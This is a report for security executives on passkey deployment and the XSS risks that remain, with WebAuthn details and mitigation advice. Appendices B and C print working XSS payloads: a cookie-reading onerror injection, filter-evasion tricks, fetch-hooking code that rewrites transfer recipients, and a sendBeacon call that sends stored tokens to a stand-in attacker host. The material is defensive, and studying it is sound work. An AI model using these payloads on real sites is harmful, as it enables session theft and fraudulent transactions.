PASSKEY IMPLMENTATION PITFALLS

A Report for Executive Security Management

By

March 2026

Contents

1 Executive Summary 3
1.1 Key Takeaways 3
2 Introduction to Passkeys 4
2.1 How Passkeys Work 4
2.2 Security Properties 4
3 Cross-Site Scripting (XSS) Overview 5
3.1 XSS Attack Categories 5
3.2 Impact of XSS Attacks 5
4 XSS Attacks Against Passkey-Protected Applications 6
5 Mitigation Strategies 7
6 Recommendations 8
7 Conclusion 9
Appendix A: Technical Specification of Passkeys and WebAuthn 10
Appendix B: Technical Analysis of XSS Vulnerabilities 13
Appendix C: Detailed XSS Attack Scenarios in Passkey Contexts 15
Appendix D: References and Standards 19

1 Executive Summary

Passkeys represent a significant and welcome advancement in authentication technology, offering phishing-resistant, passwordless authentication based on the Web Authentication (WebAuthn) standard. However, their implementation in web environments introduces specific security considerations that organisations must understand to deploy them truly securely.

This document provides an assessment of passkey technology suitable for executive security leadership, with detailed technical appendices for those who may wish more detail. The primary concern addressed is the interaction between passkey implementations and Cross-Site Scripting (XSS) vulnerabilities, which can undermine the security guarantees passkeys are designed to provide.

Further resources are available at https://report-uri.com/ as well at the links provided with the references in **Appendix D**.

1.1 Key Takeaways

1. **Passkeys eliminate password-based attacks:** Credential phishing, password spraying, and credential stuffing become ineffective against passkey-protected accounts, but;
2. **XSS vulnerabilities remain critical:** While passkeys cannot be directly stolen via XSS, attackers can exploit XSS to hijack authenticated sessions, invoke authenticated actions, or manipulate passkey registration processes.
3. **Defence in depth is essential:** Passkey deployment must be accompanied by robust XSS prevention, Content Security Policy implementation, Permissions Policy implementation, and session management controls.
4. **The threat model shifts but does not disappear:** Organisations must update their security controls to address the new attack surface that emerges with passkey adoption.

2 Introduction to Passkeys

Passkeys are a modern authentication mechanism built upon the WebAuthn (Web Authentication) standard, developed by the FIDO Alliance and the World Wide Web Consortium (W3C). They provide a passwordless authentication experience using public-key cryptography, where the private key never leaves the user's device. For complete technical specifications, see **Appendix A**.

2.1 How Passkeys Work

When a user registers a passkey with a service, their device generates a cryptographic key pair. The public key is sent to the server and stored alongside the user's account. The private key remains on the device, protected by the platform's secure hardware (such as a TPM, Secure Enclave, or equivalent). Authentication occurs when the server sends a cryptographic challenge, which the user's device signs with the private key after user verification (biometric or PIN).

The fundamental security properties of passkeys derive from the asymmetric cryptography model: knowledge of the public key does not enable an attacker to forge authentication assertions, and the private key is cryptographically bound to the original domain, preventing its use on fraudulent websites.

2.2 Security Properties

Passkeys provide several security guarantees that address long-standing authentication vulnerabilities:

Security Property	Description
Phishing Resistance	Credentials are cryptographically bound to the origin (domain) and cannot be used on fraudulent sites.
No Shared Secrets	Unlike passwords, there is no shared secret that could be compromised in a server breach.
Replay Protection	Each authentication includes a server-generated challenge, preventing replay attacks.
User Presence	Authentication requires explicit user action (biometric or PIN), preventing background attacks.
Hardware Protection	Private keys are stored in secure hardware elements, resisting extraction.

3 Cross-Site Scripting (XSS) Overview

Cross-Site Scripting represents one of the most prevalent and persistent web application vulnerabilities. XSS occurs when an attacker injects malicious scripts into web pages viewed by other users. The injected code executes in the context of the victim's browser session, with full access to the Document Object Model (DOM), cookies, and browser APIs available to the legitimate application. For detailed technical analysis, see **Appendix B**.

3.1 XSS Attack Categories

XSS vulnerabilities are classified into three primary categories, each with distinct attack vectors and persistence characteristics:

1. **Stored XSS:** Malicious scripts are permanently stored on target servers (databases, comment fields, user profiles) and served to victims who access the affected content.
2. **Reflected XSS:** Attack payloads are reflected off web servers in error messages, search results, or other responses that include user-supplied input without proper encoding.
3. **DOM-based XSS:** Vulnerabilities exist entirely in client-side code, where JavaScript processes user input unsafely without the payload ever being sent to the server.

3.2 Impact of XSS Attacks

The consequences of successful XSS exploitation extend across multiple security domains:

Impact Category	Consequences
Session Hijacking	Theft of session tokens enables account takeover without credential compromise.
Credential Theft	Injection of fake login forms or keyloggers captures user credentials.
Malware Distribution	Trusted domains become vectors for drive-by downloads and malware delivery.
Data Exfiltration	Access to DOM enables extraction of sensitive data displayed to users.
Privilege Escalation	Actions performed as authenticated users, including administrative functions.

4 XSS Attacks Against Passkey-Protected Applications

While passkeys provide robust protection against credential theft and phishing, they do not eliminate the risks posed by XSS vulnerabilities. Understanding the specific attack vectors that remain viable is essential for comprehensive security planning. For detailed attack scenarios and code examples, see **Appendix C**.

4.1 What Passkeys Protect Against

Passkeys effectively mitigate several attack vectors that XSS could otherwise enable:

1. **Credential exfiltration:** There are no passwords to steal. The private key cannot be extracted via JavaScript due to hardware security module protection and browser security boundaries.
2. **Phishing redirection:** Even if an XSS payload redirects users to a fake site, the passkey will not authenticate to an incorrect origin.
3. **Credential replay:** Authentication assertions are bound to specific challenges and cannot be replayed.

4.2 Residual Attack Vectors

Despite passkey protections, XSS vulnerabilities enable several significant attack categories:

4.2.1 Session Hijacking

The most significant residual risk is session hijacking. After successful passkey authentication, the server typically issues a session token (stored as a cookie or in local storage). XSS can steal or abuse these tokens, allowing attackers to assume the authenticated session without ever interacting with the passkey.

Even with HttpOnly cookies that prevent direct JavaScript access, XSS enables session riding attacks where the attacker's code performs actions within the victim's authenticated session without exfiltrating the token itself.

4.2.2 Malicious Passkey Registration

XSS may be used to embed a remote, attacker-controlled browser session that phishes the victim into authenticating and approving passkey registration from the attacker’s environment, resulting in persistent attacker-controlled access. The resulting passkey is legitimately registered but bound to the attacker’s authenticator, enabling durable account compromise.

4.2.3 Transaction Manipulation

XSS enables real-time manipulation of authenticated transactions. While the user believes they are approving a legitimate action (protected by their passkey verification), the malicious script modifies the transaction parameters, such as changing payment recipients, transfer amounts, or authorization scopes.

5 Mitigation Strategies

Effective protection of passkey-enabled applications requires a defence-in-depth approach that addresses both the authentication layer and the broader application security posture.

5.1 XSS Prevention

Primary defence against XSS must focus on preventing injection vulnerabilities:

1. **Output encoding:** All user-supplied data must be contextually encoded before rendering in HTML, JavaScript, CSS, or URL contexts.
2. **Content Security Policy:** Implement a strict CSP header that prohibits inline scripts, restricts loading script resources to authorised locations, and disable dangerous features like eval().
3. **Input validation:** Validate and sanitise all input on the server side, rejecting unexpected data formats.
4. **Modern frameworks:** Utilise frameworks with automatic escaping (React, Angular, Vue) and avoid dangerous APIs (innerHTML, document.write).

5.2 Session Security

Session management controls limit the impact of successful XSS exploitation:

1. **HttpOnly and Secure flags:** Configure session cookies with HttpOnly (prevents JavaScript access) and Secure (requires HTTPS) flags.
2. **SameSite attribute:** Set SameSite=Strict or SameSite=Lax to prevent cross-origin cookie abuse.
3. **Cookie prefixes:** Rename sensitive cookies to add the recognised __Secure- prefix to prevent removal of the Secure flag. Consider the stronger __Host- prefix if suitable in your environment.
4. **Session binding:** Bind sessions to client characteristics (IP address, user agent) and invalidate on anomalous changes.
5. **Short-lived tokens:** Implement token rotation and short expiration times to limit the window of exploitation.

5.3 Permissions Policy

In passkey-enabled applications, correct use of the HTTP Permissions Policy Header materially reduces the impact of script injection, third-party compromise, and unintended feature exposure. Although it varies between browsers the number of features accessible by default can be easily be overlooked. It is particularly important to adopt the following approach:

1. **publickey-credentials-get:** Configure an appropriate value for origins that are allowed access to the WebAuthn API to retrieve public-key credentials. This may be required if using a third-party service for authentication.
2. **publickey-credentials-create:** Configure an appropriate value for origins that are allowed access to the WebAuthn API to create new public-key credentials, again as

you may need a third-party service to have access but this must be restricted to only those with a valid need.

3 **Least privilege:** Permissions Policy does not prevent XSS, but constrains the capabilities available to injected code. As features accessible through the browser are enabled by default, it is essential to close off access to all but the features required by your application.

5.4 Transaction Security

Critical operations require additional safeguards against manipulation:

1 Re-authentication: Require fresh passkey verification for sensitive operations (transfers, settings changes, credential management).

2 Transaction signing: Include transaction details in the WebAuthn challenge, binding the signature to specific parameters.

3 Out-of-band confirmation: Send transaction confirmations via independent channels (email, SMS, push notification).

4 Rate limiting: Implement rate limits and anomaly detection on sensitive endpoints.

6 Recommendations

6.1 Immediate Actions

1. **Conduct XSS assessment:** Commission penetration testing specifically targeting XSS vulnerabilities in passkey registration and authentication flows.
2. **Implement CSP:** Deploy Content Security Policy headers with strict directives, monitoring violations before enforcement.
3. **Review session management:** Audit session token handling to ensure HttpOnly, Secure, and SameSite attributes are correctly configured.
4. **Enable re-authentication:** Implement step-up authentication for sensitive operations, requiring fresh passkey verification.

6.2 Strategic Initiatives

1. **Security training:** Educate development teams on secure coding practices, emphasising XSS prevention in the context of passkey implementations.
2. **Secure development lifecycle:** Integrate automated XSS scanning into CI/CD pipelines with mandatory remediation before deployment.
3. **Monitoring and detection:** Deploy client-side security monitoring to detect XSS exploitation attempts in real-time.
4. **Incident response planning:** Update incident response procedures to address passkey-specific attack scenarios.

7 Conclusion

Passkeys represent a substantial improvement in authentication security, effectively eliminating entire categories of attacks including credential phishing, password spraying, and database breaches exposing shared secrets. However, passkeys are not a panacea. They must be deployed as part of a comprehensive security architecture that addresses application-level vulnerabilities, particularly Cross-Site Scripting.

The interaction between passkeys and XSS illustrates a fundamental principle of security engineering: defence in depth. Removing one attack vector (passwords) does not eliminate others, e.g. session hijacking, transaction manipulation, and more. Security leaders must ensure that passkey adoption is accompanied by rigorous XSS prevention, robust session management, and transaction-level protections.

Organisations that deploy passkeys without addressing their broader application security posture risk creating a false sense of security. The password is eliminated, but the session remains vulnerable. A mature security programme treats passkey adoption as an opportunity to modernise the entire authentication and session management stack, implementing the layered controls necessary for genuine security improvement.

Appendix A: Technical Specification of Passkeys and WebAuthn

This appendix provides detailed technical information for security architects, developers, and technical specialists who require a comprehensive understanding of passkey cryptographic operations and protocol flows.

A.1 WebAuthn Architecture

The WebAuthn specification defines interactions between four key entities: the **Relying Party** (the web application), the **Client** (web browser), the **Authenticator** (hardware or platform credential store), and the **User**. Understanding these relationships is essential for secure implementation.

A.1.1 Credential Creation (Registration)

The registration ceremony creates a new credential bound to a specific Relying Party. The process involves the following cryptographic operations:

1. **Challenge generation:** The Relying Party generates a cryptographically random challenge (minimum 16 bytes) to ensure freshness and prevent replay attacks.
2. **PublicKeyCredentialCreationOptions:** The server constructs options including: rp (relying party identifier and name), user (user handle, name, displayName), challenge, pubKeyCredParams (acceptable algorithms, typically ES256 or RS256), timeout, excludeCredentials (prevent duplicate registration), and authenticatorSelection criteria.
3. **Key pair generation:** The authenticator generates an asymmetric key pair using the specified algorithm. For ES256 (ECDSA with P-256 and SHA-256), this produces a 256-bit private key and corresponding public key.
4. **Credential ID creation:** A unique identifier for the credential, which may be randomly generated or derived from key material depending on the authenticator implementation.
5. **Attestation:** The authenticator produces an attestation statement signed by an attestation key, allowing the Relying Party to verify the authenticator's provenance and security properties.
6. **AuthenticatorAttestationResponse:** The response contains clientDataJSON (serialised client data including challenge, origin, and type) and attestationObject (CBOR-encoded data containing authenticator data and attestation statement).

A.1.2 Authenticator Data Structure

The authenticator data is a binary structure containing critical security information:

- `rpIdHash (32 bytes)`: SHA-256 hash of the Relying Party identifier, ensuring origin binding.
- `flags (1 byte)`: Bit field indicating: UP (User Present), UV (User Verified), AT (Attested credential data included), ED (Extension data included).
- `signCount (4 bytes)`: 32-bit unsigned big-endian integer, incremented on each authentication to detect cloned credentials.

- `attestedCredentialData (variable)`: Contains AAGUID (16 bytes identifying authenticator type), credentialId (variable length), and credentialPublicKey (COSE-encoded public key).
- `extensions (variable)`: Optional extension data for additional functionality.

A.1.3 Authentication Ceremony

Authentication verifies the user possesses the private key corresponding to a registered credential:

1. **Challenge issuance:** The server generates a fresh random challenge and constructs PublicKeyCredentialRequestOptions including allowCredentials (list of acceptable credential descriptors).
2. **Credential selection:** The authenticator identifies matching credentials based on rpId and credential IDs.
3. **User verification:** The authenticator performs user verification (biometric, PIN) as configured.
4. **Signature generation:** The authenticator signs the concatenation of authenticatorData and SHA-256(clientDataJSON) using the private key.
5. **Server verification:** The server verifies the signature using the stored public key, validates the origin, checks the challenge, and verifies the signature counter has incremented.

A.2 Cryptographic Algorithms

WebAuthn supports multiple cryptographic algorithms, identified by COSE algorithm identifiers:

COSE ID	Algorithm	Key Type	Notes
-7	ES256	ECDSA P-256	Most widely supported, recommended default
-35	ES384	ECDSA P-384	Higher security margin
-36	ES512	ECDSA P-521	Highest ECDSA security level
-257	RS256	RSASSA-PKCS1-v1_5	Legacy compatibility, 2048-bit minimum
-8	EdDSA	Ed25519	Modern curve, excellent performance

A.3 Platform Authenticator Security

Platform authenticators (built into operating systems) provide varying levels of key protection:

A.1.3 Apple (Secure Enclave)

Apple devices store passkey private keys in the Secure Enclave Processor (SEP), a dedicated security coprocessor with its own boot ROM, cryptographic engine, and true random number generator. Keys are generated within the SEP and never exposed to the application processor. User verification employs Face ID, Touch ID, or device passcode, with anti-hammering protections against brute force attacks.

A.3.2 Windows (TPM/Windows Hello)

Windows stores passkeys in the Trusted Platform Module (TPM 2.0) where available, or in software-backed Credential Guard. Windows Hello provides user verification via facial recognition, fingerprint, or PIN. The credential is bound to the specific device's TPM and cannot be migrated.

A.3.3 Android (StrongBox/TEE)

Android devices may use StrongBox (discrete secure element), TrustZone TEE, or software-backed keystores depending on hardware capabilities. The Keymaster HAL provides a consistent interface regardless of underlying security level. Key attestation allows servers to verify the security properties of the credential storage.

A.4 Passkey Synchronisation

Modern passkey implementations support credential synchronisation across devices within a platform ecosystem:

- **Apple iCloud Keychain:** Passkeys sync via iCloud Keychain using end-to-end encryption. Keys are wrapped with a key derived from the user's device passcode and protected by HSM-backed escrow. Synchronisation requires two-factor authentication and trusted device verification.
- **Google Password Manager:** Android passkeys sync via Google Password Manager with end-to-end encryption. Access requires the user's Google account credentials plus screen lock verification.
- **1Password, Bitwarden, Dashlane:** Third-party password managers now support passkey storage and synchronisation, extending cross-platform compatibility.

Appendix B: Technical Analysis of XSS Vulnerabilities

This appendix provides detailed technical information on XSS attack mechanisms, exploitation techniques, and the browser security model context in which these attacks operate.

B.1 Browser Security Model

Understanding XSS requires knowledge of the browser security model that XSS violates:

B.1.1 Same-Origin Policy

The Same-Origin Policy (SOP) is the fundamental security boundary in web browsers. An origin is defined by the tuple (scheme, host, port). Scripts from one origin cannot access resources from another origin. XSS bypasses SOP by injecting code that executes within the target origin, granting full access to that origin's resources.

B.1.2 Document Object Model Access

JavaScript executing within an origin has complete access to the DOM, including: document.cookie (unless HttpOnly), localStorage and sessionStorage, form inputs and their values, DOM element content and attributes, and the ability to make XMLHttpRequest/fetch calls to the same origin with full credentials.

B.2 Stored XSS Mechanics

Stored XSS persists malicious payloads in server-side storage:

B.2.1 Injection Points

Common injection points include: user profile fields (name, bio, location), comment and review systems, forum posts and messages, file names and metadata, configuration settings, and custom form fields. Each of these represents a potential vector if the application fails to properly encode output.

B.2.2 Payload Persistence

Stored XSS payloads persist across sessions and affect multiple users. A single injection can compromise all users who view the affected content. This makes stored XSS particularly dangerous for applications with shared content such as social media platforms, forums, wikis, or collaborative tools.

B.3 Reflected XSS Mechanics

Reflected XSS requires victim interaction with a malicious link:

B.3.1 Attack Flow

1. Attacker identifies a reflection point where user input is included in responses without encoding.
2. Attacker crafts a URL containing a malicious JavaScript payload in a parameter.
3. Attacker delivers the URL to victims via phishing email, social media, or other channels.

4. Victim clicks the link, sending the payload to the vulnerable server.
5. Server reflects the payload in the response, and the victim's browser executes it.

B.3.2 URL Encoding Considerations

Attackers must carefully encode payloads to survive URL transmission while remaining executable. Common techniques include: URL encoding of special characters (%3C for <), double encoding to bypass filters, and Unicode normalisation exploits. The payload must decode correctly through the URL parser, server processing, and final HTML/JavaScript context.

B.4 DOM-Based XSS Mechanics

DOM XSS occurs entirely in client-side code without server involvement:

B.4.1 Sources and Sinks

DOM XSS involves data flow from untrusted **sources** to dangerous **sinks**:

Sources (untrusted input): location.hash, location.search, document.referrer, postMessage data, Web Storage, and IndexedDB.

Sinks (dangerous outputs): innerHTML, outerHTML, document.write, eval(), setTimeout/setInterval with string arguments, and event handler attributes.

B.4.2 Example Vulnerable Pattern

A common vulnerable pattern involves extracting URL parameters and inserting them into the DOM:

```
// VULNERABLE: Direct use of URL parameter in innerHTML

const name = new URLSearchParams(location.search).get('name');

document.getElementById('greeting').innerHTML = 'Hello, ' + name;
```

An attacker can exploit this with: `?name=<img src=x onerror=alert(document.cookie)>`

B.5 Evasion Techniques

Sophisticated attackers employ various techniques to bypass XSS filters:

- **Case variation:** `<ScRiPt>` bypasses case-sensitive filters.
- **Encoding:** HTML entities (<), Unicode escapes (\u003c), and URL encoding.
- **Tag injection:** <img src=x onerror=...>, <svg onload=...>, <body onpageshow=...>.
- **Protocol handlers:** `javascript:`, `data:` URLs in href/src attributes.
- **Mutation XSS:** Exploiting browser HTML parsing quirks to reconstruct payloads.

Appendix C: Detailed XSS Attack Scenarios in Passkey Contexts

This appendix provides specific attack scenarios demonstrating how XSS vulnerabilities can be exploited against passkey-protected applications, including code examples and technical analysis.

C.1 Session Hijacking Attack

Despite HttpOnly cookie protections, XSS enables session exploitation through various techniques:

C.1.1 Session Riding (CSRF via XSS)

When cookies are HttpOnly, attackers cannot exfiltrate them, but can make authenticated requests:

```
// Attacker's XSS payload performs actions as the victim

fetch('/api/transfer', {

  method: 'POST',

  credentials: 'include',  // Browser automatically includes cookies

  headers: {'Content-Type': 'application/json'},

  body: JSON.stringify({recipient: 'attacker', amount: 10000})

});
```

The authenticated session performs the transfer without the attacker ever seeing the session token.

C.1.2 Token Theft from Storage

If tokens are stored in localStorage or sessionStorage (common with SPAs), they are fully accessible:

```
// Exfiltrate all storage-based tokens

const tokens = {

  local: {...localStorage},

  session: {...sessionStorage}

};

navigator.sendBeacon('https://evil-cyber-hacker.com/collect',
JSON.stringify(tokens));
```

C.2 Malicious Passkey Registration Attack

A sophisticated attack registers an attacker-controlled credential on the victim’s account:

C.2.1 Attack Sequence

1. XSS payload loads a remote, attacker-controlled browser session into the page (canvas/WebSocket “VNC-like” view).
2. The victim is tricked into interacting with the remote session, believing it is the legitimate site.
3. While the victim is authenticated, the attacker initiates passkey registration from the remote browser.
4. The passkey is created using an authenticator controlled by the attacker.
5. The server registers the attacker’s passkey on the victim’s account.

C.2.2 Implementation Concept

```
// Load a remote browser session rendered as pixels

const canvas = document.createElement("canvas");

canvas.width = 1024;

canvas.height = 768;

document.body.appendChild(canvas);


const ctx = canvas.getContext("2d");


// Connect to attacker-controlled remote browser

const socket = new WebSocket("wss://attacker.example/remote-browser");


// Receive video frames from the remote browser

socket.onmessage = (event) => {

  const img = new Image();

  img.onload = () => ctx.drawImage(img, 0, 0);

  img.src = URL.createObjectURL(event.data);

};

// This attack requires the victim to authenticate within an attacker-
controlled environment and should be understood as a phishing or remote-
session compromise, not a WebAuthn protocol weakness.
```

C.3 Transaction Manipulation Attack

XSS enables real-time manipulation of authenticated transactions:

C.3.1 DOM Manipulation

The attacker's script modifies transaction forms while displaying original values to the user:

```
// Intercept form submission
document.querySelector('form#transfer').addEventListener('submit', (e) => {
  // Silently change recipient while form shows original
  const hiddenRecipient = document.querySelector('input[name=recipient]');
  hiddenRecipient.value = 'attacker-account';
});
```

C.3.2 API Request Interception

For single-page applications, the attack intercepts API calls:

```
// Hook fetch to modify requests
const originalFetch = window.fetch;
window.fetch = async function(url, options) {
  if (url.includes('/api/transfer')) {
    const body = JSON.parse(options.body);
    body.recipient = 'attacker-account';
    options.body = JSON.stringify(body);
  }
  return originalFetch(url, options);
};
```

C.4 Mitigation Verification

Security teams should verify that mitigations are effective against these specific attack patterns:

1. **Content Security Policy**: Verify that CSP blocks unauthorised scripts and prevents data exfiltration to attacker-controlled origins. Enable CSP Reporting via the Reporting API to receive alerts about malicious activity.
2. **Permissions Policy**: Ensure least privilege for pages across the application to access the WebAuthn browser APIs. Enable the Reporting API to receive alerts about malicious activity.
3. **API integrity:** Avoid application patterns that overwrite or wrap WebAuthn APIs, and rely on Content Security Policy and Permissions Policy to constrain usage.
4. **Transaction binding:** Confirm that sensitive transactions include details in the WebAuthn challenge, creating cryptographic binding.

5 **Session controls:** Validate that session tokens are HttpOnly, Secure, SameSite=Strict, __Secure- prefixed and that anomaly detection identifies session riding attacks.

C.5 Threat Model Boundaries

This analysis assumes a standards-compliant WebAuthn implementation and clearly defines the limits of attacker capability. The following are explicitly out of scope and not achievable through XSS alone:

- Extraction of passkey private keys from authenticators or browsers.
- Forging or replaying WebAuthn registration or authentication responses.
- Relaying or proxying WebAuthn ceremonies to attacker-controlled devices.
- Registering an attacker-controlled passkey without user participation.
- Bypassing origin binding enforced by WebAuthn and browser security models.

This document focuses on realistic, operational attack paths that remain viable in passkey-protected applications, including session hijacking, transaction manipulation, and persistence via user-assisted credential registration, rather than theoretical breaks of the WebAuthn protocol.

Appendix D: References and Standards

D.1 Standards Documents

- W3C Web Authentication (WebAuthn) Level 2: https://www.w3.org/TR/webauthn-2/
- FIDO2 Client to Authenticator Protocol (CTAP): https://fidoalliance.org/specs/fido-v2.1-ps-20210615/fido-client-to-authenticator-protocol-v2.1-ps-20210615.html
- COSE (CBOR Object Signing and Encryption): RFC 8152 https://datatracker.ietf.org/doc/html/rfc8152
- Content Security Policy – Level 3: https://www.w3.org/TR/CSP3/
- Permissions Policy: https://www.w3.org/TR/permissions-policy/
- Reporting API: https://www.w3.org/TR/reporting-1/
- Cookie Prefixes: https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-cookie-prefixes-00
- Same-Site Cookies: https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-cookie-same-site-00
-

D.2 Security Guidance

- NIST SP 800-63B Digital Identity Guidelines: https://pages.nist.gov/800-63-3/sp800-63b.html
- OWASP Application Security Verification Standard (ASVS): https://owasp.org/www-project-application-security-verification-standard/
- OWASP Cross-Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP Secure Headers Project: https://owasp.org/www-project-secure-headers/
- OWASP Top 10 Proactive Controls: https://top10proactive.owasp.org/
- NCSC Annual Review 2025 – Passkeys: https://www.ncsc.gov.uk/collection/ncsc-annual-review-2025/chapter-03-keeping-pace-with-evolving-technology/passkeys

D.3 Platform Documentation

- Apple Platform Security Guide: https://support.apple.com/guide/security/
- Android Keystore System: https://developer.android.com/training/articles/keystore
- Windows Hello for Business: https://learn.microsoft.com/en-us/windows/security/identity-protection/hello-for-business/